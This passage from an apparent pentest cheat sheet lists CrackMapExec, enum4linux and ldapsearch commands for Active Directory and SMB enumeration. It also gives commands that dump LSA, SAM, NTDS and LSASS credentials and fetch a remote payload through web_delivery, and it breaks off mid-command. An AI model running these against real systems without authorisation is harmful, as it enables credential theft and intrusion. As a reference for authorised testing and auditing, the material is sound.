crackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' --verbose ```bash crackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' --verbose ``` Example: ```bash crackmapexec smb 192.168.1.0/24 -u 'jsmith' -p 'P@ssword1' --verbose ``` Enables verbose output to capture detailed debugging information during enumeration. ## Module Based Enumeration ### crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' -M maq ```bash crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' -M maq ``` Example: ```bash crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' -M maq ``` Enumerates the MachineAccountQuota for the domain. ### crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' -M adcs ```bash crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' -M adcs ``` Example: ```bash crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' -M adcs ``` Enumerates Active Directory Certificate Services templates and servers. ## SMB Share Enumeration ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --spider SHAREname ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --spider SHAREname ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --spider C$ ``` Recursively lists files in a specific share to find interesting data. ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --spider SHAREname --content ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --spider SHAREname --content ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --spider C$ --content ``` Spiders a share and attempts to read file content for sensitive data. ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --spider SHAREname --regex 'pass' ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --spider SHAREname --regex 'pass' ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --spider C$ --regex 'password' ``` Spiders a share searching for files matching a specific regex pattern. ## Blue Team Exposure and Hardening Validation ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --lsa ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --lsa ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --lsa ``` Attempts to dump LSA secrets to validate if credentials can be extracted remotely. ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --sam ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --sam ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --sam ``` Attempts to dump the SAM database to check for local credential exposure. ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --ntds ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --ntds ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --ntds ``` Attempts to dump the NTDS.dit file via DRSUAPI to validate DC security. ## Module Based Enumeration ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M web_delivery -o URL=http://192.168.1.5/payload ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M web_delivery -o URL=http://192.168.1.5/payload ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' -M web_delivery -o URL=http://192.168.1.5/payload ``` Simulates a web delivery payload execution for audit purposes. ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M lsassy ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M lsassy ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' -M lsassy ``` Advanced module to attempt remote LSASS dumping for credential validation. ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M nanodump ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M nanodump ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' -M nanodump ``` Uses NanoDump to attempt a stealthy LSASS dump for evasion testing. ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M procdump ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M procdump ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' -M procdump ``` Uses Sysinternals Procdump to dump LSASS for blue team signature validation. ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M bh_collector ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M bh_collector ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' -M bh_collector ``` Runs the BloodHound ingestor module to map domain relationships. ## Related tools - [CrackMapExec / NetExec](https://terminal.rokibulroni.com/tool/lateral/crackmapexec) - [ldapsearch](https://terminal.rokibulroni.com/tool/enumeration/ldapsearch) - [BloodHound.py](https://terminal.rokibulroni.com/tool/active-directory/bloodhound-python) # Tool: enum4linux > A wrapper around Samba tools that enumerates users, groups, shares, password policy and OS details from Windows and Samba hosts. - Category: Enumeration - Commands: 45 - Page: https://terminal.rokibulroni.com/tool/enumeration/enum4linux - Homepage: https://github.com/CiscoCXSecurity/enum4linux - Tags: SMB, users, shares ## Install - apt: `sudo apt install enum4linux` ## Basic Enumeration ### enum4linux 192.168.1.10 ```bash enum4linux 192.168.1.10 ``` Performs a standard enumeration scan with default settings against the target IP ## Verbose Mode ### enum4linux -v 192.168.1.10 ```bash enum4linux -v 192.168.1.10 ``` Runs the scan in verbose mode to show all underlying commands and detailed output ## Complete Enumeration ### enum4linux -a 192.168.1.10 ```bash enum4linux -a 192.168.1.10 ``` Executes 'Do Everything' mode, running all standard enumeration options (-U -S -G -P -r -o -n -i) ## NetBIOS Name Enumeration ### enum4linux -n 192.168.1.10 ```bash enum4linux -n 192.168.1.10 ``` Queries NetBIOS names using nmblookup to identify the hostname and workgroup ## OS Information ### enum4linux -o 192.168.1.10 ```bash enum4linux -o 192.168.1.10 ``` Fetches operating system information using smbclient ## User Enumeration ### enum4linux -U 192.168.1.10 ```bash enum4linux -U 192.168.1.10 ``` Enumerates the userlist from the target system using MSRPC or RAP ## Machine Enumeration ### enum4linux -M 192.168.1.10 ```bash enum4linux -M 192.168.1.10 ``` Enumerates the machine list (computer accounts) from the target domain controller ## Share Enumeration ### enum4linux -S 192.168.1.10 ```bash enum4linux -S 192.168.1.10 ``` Lists available SMB shares and attempts to check access permissions ## Group Enumeration ### enum4linux -G 192.168.1.10 ```bash enum4linux -G 192.168.1.10 ``` Enumerates groups and their member lists from the target system ## Password Policy Enumeration ### enum4linux -P 192.168.1.10 ```bash enum4linux -P 192.168.1.10 ``` Retrieves the password policy information such as minimum length and lockout thresholds ## Printer Enumeration ### enum4linux -i 192.168.1.10 ```bash enum4linux -i 192.168.1.10 ``` Checks for attached printers and print spooler services ## Detailed Enumeration ### enum4linux -d 192.168.1.10 ```bash enum4linux -d 192.168.1.10 ``` Performs a detailed enumeration, often useful for retrieving auto-logon information ## LDAP Enumeration ### enum4linux -l 192.168.1.10 ```bash enum4linux -l 192.168.1.10 ``` Attempts to retrieve information via LDAP if the target is a Domain Controller ## RID Cycling ### enum4linux -r 192.168.1.10 ```bash enum4linux -r 192.168.1.10 ``` Performs RID cycling to find users by iterating through Relative IDs ## Advanced RID Cycling ### enum4linux -R 500-2000 192.168.1.10 ```bash enum4linux -R 500-2000 192.168.1.10 ``` Performs RID cycling using a custom range of IDs from 500 to 2000 ## RID Cycling with Known User ### enum4linux -k administrator 192.168.1.10 ```bash enum4linux -k administrator 192.168.1.10 ``` Optimizes RID cycling by starting checks relative to a known valid username ## Workgroup Specification ### enum4linux -w CORP 192.168.1.10 ```bash enum4linux -w CORP 192.168.1.10 ``` Manually specifies the workgroup or domain name 'CORP' for the connection attempt ## Authenticated Enumeration ### enum4linux -u admin -p password123 192.168.1.10 ```bash enum4linux -u admin -p password123 192.168.1.10 ``` Performs enumeration using valid credentials for a specific user ## Authenticated Complete Scan ### enum4linux -a -u admin -p password123 192.168.1.10 ```bash enum4linux -a -u admin -p password123 192.168.1.10 ``` Runs a full 'Do Everything' scan authenticated as a valid user ## Authenticated Share Enumeration ### enum4linux -S -u admin -p password123 192.168.1.10 ```bash enum4linux -S -u admin -p password123 192.168.1.10 ``` Lists shares that are visible or accessible to the specified authenticated user ## Authenticated User List ### enum4linux -U -u guest -p "" 192.168.1.10 ```bash enum4linux -U -u guest -p "" 192.168.1.10 ``` Attempts to list users authenticating as the guest account with an empty password ## Explicit Null Session ### enum4linux -u "" -p "" 192.168.1.10 ```bash enum4linux -u "" -p "" 192.168.1.10 ``` Forces an explicit null session attempt with empty username and password ## Target Domain Controller ### enum4linux -a dc.example.local ```bash enum4linux -a dc.example.local ``` Runs a full scan against a Domain Controller using its DNS hostname ## Quiet Mode ### enum4linux 192.168.1.10 | grep "+" ```bash enum4linux 192.168.1.10 | grep "+" ``` Runs the tool and filters output to show only section headers and findings ## OS and NetBIOS Only ### enum4linux -o -n 192.168.1.10 ```bash enum4linux -o -n 192.168.1.10 ``` Performs a lightweight scan checking only OS version and NetBIOS information ## Users and Groups Only ### enum4linux -U -G 192.168.1.10 ```bash enum4linux -U -G 192.168.1.10 ``` Focuses enumeration solely on discovering users and group memberships ## Shares and Policy Only ### enum4linux -S -P 192.168.1.10 ```bash enum4linux -S -P 192.168.1.10 ``` Targeted scan to find file shares and password policies without aggressive user cycling ## Authenticated RID Cycling ### enum4linux -r -u user -p pass 192.168.1.10 ```bash enum4linux -r -u user -p pass 192.168.1.10 ``` Uses valid credentials to perform RID cycling, often revealing more than null sessions ## Large Range RID Cycling ### enum4linux -R 500-10000 192.168.1.10 ```bash enum4linux -R 500-10000 192.168.1.10 ``` Aggressive RID cycling over a large range to find hidden accounts on older systems ## SMB Version Detection (Implicit) ### enum4linux -o 10.10.10.5 ```bash enum4linux -o 10.10.10.5 ``` Uses the OS check to infer the SMB version based on the reported operating system ## Service Identification ### enum4linux -S 10.10.10.5 ```bash enum4linux -S 10.10.10.5 ``` Identifies roles like IPC$ (Inter-Process Communication) during share enumeration ## Red Team Initial Recon ### enum4linux -a -u "" -p "" 192.168.1.10 ```bash enum4linux -a -u "" -p "" 192.168.1.10 ``` Quickly checks if a target allows full enumeration via anonymous null sessions ## Blue Team Exposure Validation ### enum4linux -a 10.0.0.5 ```bash enum4linux -a 10.0.0.5 ``` Used by defenders to verify if a server is leaking sensitive data to unauthenticated users ## Logging Output ### enum4linux -a 192.168.1.10 > enum_results.txt ```bash enum4linux -a 192.168.1.10 > enum_results.txt ``` Saves the full enumeration output to a text file for reporting ## Verbose Authenticated Scan ### enum4linux -v -u admin -p pass 192.168.1.10 ```bash enum4linux -v -u admin -p pass 192.168.1.10 ``` Debug mode with authentication to troubleshoot why specific checks might be failing ## Workgroup and Users ### enum4linux -w WORKGROUP -U 192.168.1.10 ```bash enum4linux -w WORKGROUP -U 192.168.1.10 ``` Targets a specific workgroup context while enumerating the user list ## Check Default Admin ### enum4linux -k Administrator -r 192.168.1.10 ```bash enum4linux -k Administrator -r 192.168.1.10 ``` Specifically checks the Administrator account status via RID cycling logic ## Legacy Mode RID ### enum4linux -K 500 -L 1000 192.168.1.10 ```bash enum4linux -K 500 -L 1000 192.168.1.10 ``` Uses legacy flags K (start) and L (last) for RID cycling on older script versions ## Incident Response Check ### enum4linux -S -u compromised_user -p pass 192.168.1.10 ```bash enum4linux -S -u compromised_user -p pass 192.168.1.10 ``` Simulates what a compromised user account can access on the file shares ## Domain Info Only ### enum4linux -w DOMAIN -o 192.168.1.10 ```bash enum4linux -w DOMAIN -o 192.168.1.10 ``` Retrieves OS and domain controller information for a specific domain target ## Share List with Workgroup ### enum4linux -w WORKGROUP -S 192.168.1.10 ```bash enum4linux -w WORKGROUP -S 192.168.1.10 ``` Lists shares available to the specific workgroup context ## Printers and OS ### enum4linux -i -o 192.168.1.10 ```bash enum4linux -i -o 192.168.1.10 ``` Identifies printer services and the underlying OS version simultaneously ## Groups and Password Policy ### enum4linux -G -P 192.168.1.10 ```bash enum4linux -G -P 192.168.1.10 ``` Maps out security groups and the governing password complexity rules ## Authenticated Detailed View ### enum4linux -d -u admin -p pass 192.168.1.10 ```bash enum4linux -d -u admin -p pass 192.168.1.10 ``` Gets detailed configuration info including auto-logon registry keys using credentials ## Automation Friendly ### enum4linux -a 192.168.1.10 2>&1 | tee scan.log ```bash enum4linux -a 192.168.1.10 2>&1 | tee scan.log ``` Runs a full scan and pipes both stdout and stderr to a file for automated processing ## Related tools - [smbclient](https://terminal.rokibulroni.com/tool/enumeration/smbclient) - [rpcclient](https://terminal.rokibulroni.com/tool/enumeration/rpcclient) - [CrackMapExec (enumeration)](https://terminal.rokibulroni.com/tool/enumeration/crackmapexec-enum) # Tool: ldapsearch > The OpenLDAP query client. Dumps users, groups, computers and attributes from LDAP and Active Directory with precise filters. - Category: Enumeration - Commands: 70 - Page: https://terminal.rokibulroni.com/tool/enumeration/ldapsearch - Homepage: https://www.openldap.org - Documentation: https://www.openldap.org/software/man.cgi?query=ldapsearch - Tags: LDAP, Active Directory ## Install - apt: `sudo apt install ldap-utils` - brew: `brew install openldap` ## Basic Connection ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" ``` Performs a basic anonymous query against the target IP using simple authentication. ### ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(objectClass=*)" ```bash ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(objectClass=*)" ``` Connects to a hostname and retrieves all objects in the base DN. ## Authentication ### ldapsearch -x -D "cn=admin,dc=example,dc=local" -W -H ldap://192.168.1.10 -b "dc=example,dc=local" ```bash ldapsearch -x -D "cn=admin,dc=example,dc=local" -W -H ldap://192.168.1.10 -b "dc=example,dc=local" ``` Authenticates with a specific Bind DN and prompts the user for the password interactively. ### ldapsearch -x -D "cn=admin,dc=example,dc=local" -w "P@ssw0rd123" -H ldap://192.168.1.10 -b "dc=example,dc=local" ```bash ldapsearch -x -D "cn=admin,dc=example,dc=local" -w "P@ssw0rd123" -H ldap://192.168.1.10 -b "dc=example,dc=local" ``` Authenticates providing the password inline (less secure, useful for scripts). ### ldapsearch -x -D "EXAMPLE\Administrator" -W -H ldap://192.168.1.10 -b "dc=example,dc=local" ```bash ldapsearch -x -D "EXAMPLE\Administrator" -W -H ldap://192.168.1.10 -b "dc=example,dc=local" ``` Uses the Active Directory down-level logon name format for binding. ### ldapsearch -x -D "admin@example.local" -W -H ldap://192.168.1.10 -b "dc=example,dc=local" ```bash ldapsearch -x -D "admin@example.local" -W -H ldap://192.168.1.10 -b "dc=example,dc=local" ``` Uses the User Principal Name (UPN) format for binding to Active Directory. ### ldapsearch -x -D "cn=admin,dc=example,dc=local" -y passfile.txt -H ldap://192.168.1.10 ```bash ldapsearch -x -D "cn=admin,dc=example,dc=local" -y passfile.txt -H ldap://192.168.1.10 ``` Reads the bind password from a specified file to avoid exposing it in the command history. ## Security & Encryption ### ldapsearch -x -H ldaps://dc.example.local:636 -b "dc=example,dc=local" ```bash ldapsearch -x -H ldaps://dc.example.local:636 -b "dc=example,dc=local" ``` Connects over SSL (LDAPS) on the standard secure port 636. ### ldapsearch -x -Z -H ldap://dc.example.local -b "dc=example,dc=local" ```bash ldapsearch -x -Z -H ldap://dc.example.local -b "dc=example,dc=local" ``` Initiates a StartTLS operation to upgrade a cleartext connection to an encrypted one. ### ldapsearch -x -ZZ -H ldap://dc.example.local -b "dc=example,dc=local" ```bash ldapsearch -x -ZZ -H ldap://dc.example.local -b "dc=example,dc=local" ``` Enforces StartTLS and fails the connection if the TLS upgrade is not successful. ## Scope Control ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -s base ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -s base ``` Searches only the base object itself, useful for checking RootDSE or specific object attributes. ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -s one ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -s one ``` Searches one level deep (immediate children) excluding the base object itself. ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -s sub ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -s sub ``` Performs a subtree search, searching the base object and the entire hierarchy below it (default). ## Attribute Selection ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" "(objectClass=person)" cn mail ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" "(objectClass=person)" cn mail ``` Retrieves only the Common Name and Email attributes for person objects. ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" "(objectClass=*)" * + ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" "(objectClass=*)" * + ``` Retrieves all user attributes (*) and all operational attributes (+) like modifyTimestamp. ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -u "(objectClass=person)" ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -u "(objectClass=person)" ``` Displays the User Friendly Name (UFN) of the Distinguished Name in the output. ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -A "(objectClass=person)" ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -A "(objectClass=person)" ``` Retrieves attribute names only without their values, useful for schema discovery. ## Output Formatting ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -LL ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -LL ``` Outputs in LDIF format without comments, suitable for processing by other tools. ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -LLL ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -LLL ``` Outputs in raw LDIF format without comments or version information. ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -L ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -L ``` Outputs in LDIF format v1 (standard default). ## Referrals & Aliases ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -C ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -C ``` Automatically chases referrals to other LDAP servers. ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -M ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -M ``` Sends the ManageDsaIT control, instructing the server to return referral objects as entries rather than chasing them. ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -a always ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -a always ``` Always dereference aliases during both searching and finding. ## Performance & Limits ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -z 10 ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -z 10 ``` Limits the number of entries returned to a maximum of 10. ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -l 5 ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -l 5 ``` Sets a time limit of 5 seconds for the search to complete. ## Advanced Controls ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -E pr=1000/noprompt ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -E pr=1000/noprompt ``` Uses the Paged Results control to retrieve datasets larger than the server's size limit (e.g., AD's 1000 limit). ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -E sss=-cn ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -E sss=-cn ``` Requests Server Side Sorting of results by Common Name in descending order. ## SASL Authentication ### ldapsearch -H ldap://dc.example.local -Y GSSAPI -b "dc=example,dc=local" ```bash ldapsearch -H ldap://dc.example.local -Y GSSAPI -b "dc=example,dc=local" ``` Authenticates using Kerberos (GSSAPI) via the current user's Ticket Granting Ticket. ### ldapsearch -H ldap://dc.example.local -Y DIGEST-MD5 -U admin -b "dc=example,dc=local" ```bash ldapsearch -H ldap://dc.example.local -Y DIGEST-MD5 -U admin -b "dc=example,dc=local" ``` Authenticates using the DIGEST-MD5 SASL mechanism for the user 'admin'. ### ldapsearch -H ldapi:/// -Y EXTERNAL -b "cn=config" ```bash ldapsearch -H ldapi:/// -Y EXTERNAL -b "cn=config" ``` Uses Unix socket (IPC) authentication, often used for root access to local OpenLDAP configuration. ### ldapsearch -H ldap://dc.example.local -Y GSSAPI -O max -b "dc=example,dc=local" ```bash ldapsearch -H ldap://dc.example.local -Y GSSAPI -O max -b "dc=example,dc=local" ``` Uses GSSAPI with maximum security properties (encryption and integrity protection). ## Basic Filtering ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" "(cn=John Doe)" ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" "(cn=John Doe)" ``` Filters for objects where the Common Name is exactly 'John Doe'. ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" "(cn=J*)" ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" "(cn=J*)" ``` Filters for objects where the Common Name starts with 'J' (wildcard). ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" "(description=*)" ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" "(description=*)" ``` Filters for objects where the 'description' attribute is present (not null). ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" "(gidNumber>=1000)" ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" "(gidNumber>=1000)" ``` Filters for objects where the gidNumber is greater than or equal to 1000. ## Complex Filtering ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" "(&(objectClass=user)(cn=admin))" ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" "(&(objectClass=user)(cn=admin))" ``` Uses the AND operator to find objects that are both a user AND have the common name 'admin'. ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" "(|(cn=admin)(cn=root))" ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" "(|(cn=admin)(cn=root))" ``` Uses the OR operator to find objects that are named 'admin' OR 'root'. ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" "(&(objectClass=user)(!(userAccountControl:1.2.840.113556. ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" "(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" ``` Uses the NOT operator and bitwise logic to find active users (excluding disabled accounts). ## Active Directory Recon ### ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(objectClass=user)" sAMAccountName ```bash ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(objectClass=user)" sAMAccountName ``` Enumerates all user login names (sAMAccountName) in an Active Directory domain. ### ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(objectClass=group)" cn member ```bash ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(objectClass=group)" cn member ``` Enumerates all groups and lists their member DNs. ### ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(objectCategory=Computer)" name operatingSystem ```bash ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(objectCategory=Computer)" name operatingSystem ``` Enumerates all computer objects and their operating system versions. ### ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(servicePrincipalName=*)" servicePrincipalName ```bash ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(servicePrincipalName=*)" servicePrincipalName ``` Performs 'Kerberoasting' recon by identifying accounts with Service Principal Names (SPNs). ### ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(adminCount=1)" cn ```bash ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(adminCount=1)" cn ``` Identifies high-value targets by searching for objects protected by AdminSDHolder (adminCount=1). ### ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(userAccountControl:1.2.840.113556.1.4.803:=524288)" ```bash ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(userAccountControl:1.2.840.113556.1.4.803:=524288)" cn ``` Identifies accounts configured with 'Trusted for Delegation' (risky configuration). ### ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" ```bash ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" cn ``` Identifies accounts with 'Do not require Kerberos preauthentication' enabled (AS-REP Roasting targets). ### ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(pwdLastSet=0)" cn ```bash ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(pwdLastSet=0)" cn ``` Finds accounts that must change their password at next logon. ### ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(userAccountControl:1.2.840.113556.1.4.803:=65536)" c ```bash ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(userAccountControl:1.2.840.113556.1.4.803:=65536)" cn ``` Finds accounts where the password is set to never expire. ### ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(description=*password*)" description ```bash ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(description=*password*)" description ``` Searches for the string 'password' inside description fields, a common place for leaked credentials. ## Server Information ### ldapsearch -x -H ldap://192.168.1.10 -s base -b "" + ```bash ldapsearch -x -H ldap://192.168.1.10 -s base -b "" + ``` Queries the RootDSE (empty base DN) for operational attributes to discover server capabilities and contexts. ### ldapsearch -x -H ldap://192.168.1.10 -s base -b "cn=Subschema" attributeTypes ```bash ldapsearch -x -H ldap://192.168.1.10 -s base -b "cn=Subschema" attributeTypes ``` Queries the LDAP schema to list all defined attribute types. ### ldapsearch -x -H ldap://192.168.1.10 -s base -b "" namingContexts ```bash ldapsearch -x -H ldap://192.168.1.10 -s base -b "" namingContexts ``` Retrieves the naming contexts to identify valid base DNs for future searches. ## Advanced Output ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -t ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -t ``` Writes non-printable values (like binary photos or certificates) to temporary files. ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -T /tmp/ldap ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -T /tmp/ldap ``` Writes binary values to temporary files in a specified directory. ## Debug & Verbose ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -v ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -v ``` Runs in verbose mode, showing diagnostics to standard error. ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -d 1 ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -d 1 ``` Runs with debug level 1 (trace) to view detailed connection handling information. ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -n ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -n ``` Performs a dry run, showing what would be done without actually connecting to the server. ## File Input ### ldapsearch -x -H ldap://192.168.1.10 -f filters.txt -b "dc=example,dc=local" ```bash ldapsearch -x -H ldap://192.168.1.10 -f filters.txt -b "dc=example,dc=local" ``` Reads a series of filters from a file and performs a search for each one. ## Network ### ldapsearch -x -H ldap://[fe80::1] -b "dc=example,dc=local" ```bash ldapsearch -x -H ldap://[fe80::1] -b "dc=example,dc=local" ``` Connects to an LDAP server using an IPv6 address literal. ## Operational Recon ### ldapsearch -x -H ldap://dc.example.local -b "CN=Policies,CN=System,DC=example,DC=local" -s sub "(objectClass=*)" ```bash ldapsearch -x -H ldap://dc.example.local -b "CN=Policies,CN=System,DC=example,DC=local" -s sub "(objectClass=*)" ``` Retrieves Group Policy Objects (GPO) information from the System container. ### ldapsearch -x -H ldap://dc.example.local -b "DC=ForestDnsZones,DC=example,DC=local" "(objectClass=*)" ```bash ldapsearch -x -H ldap://dc.example.local -b "DC=ForestDnsZones,DC=example,DC=local" "(objectClass=*)" ``` Enumerates DNS records stored within the Active Directory Forest DNS Zones. ## LAPS Recon ### ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(ms-Mcs-AdmPwd=*)" ms-Mcs-AdmPwd ```bash ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(ms-Mcs-AdmPwd=*)" ms-Mcs-AdmPwd ``` Attempts to retrieve cleartext Local Administrator Password Solution (LAPS) passwords. ## Exchange Recon ### ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(objectClass=msExchExchangeServer)" ```bash ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(objectClass=msExchExchangeServer)" ``` Identifies Microsoft Exchange servers within the environment. ## Blue Team Audit ### ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(&(objectClass=user)(!(pwdLastSet=*)))" ```bash ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(&(objectClass=user)(!(pwdLastSet=*)))" ``` Finds users who have never set a password (potential stale or uninitialized accounts). ### ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(&(objectCategory=person)(objectClass=user)(primaryGr ```bash ldapsearch -x -H ldap://dc.example.local -b "dc=example,dc=local" "(&(objectCategory=person)(objectClass=user)(primaryGroupID=512))" ``` Finds users whose Primary Group ID is 512 (Domain Admins), verifying high-privilege membership. ## Advanced Filtering ### ldapsearch -x -H 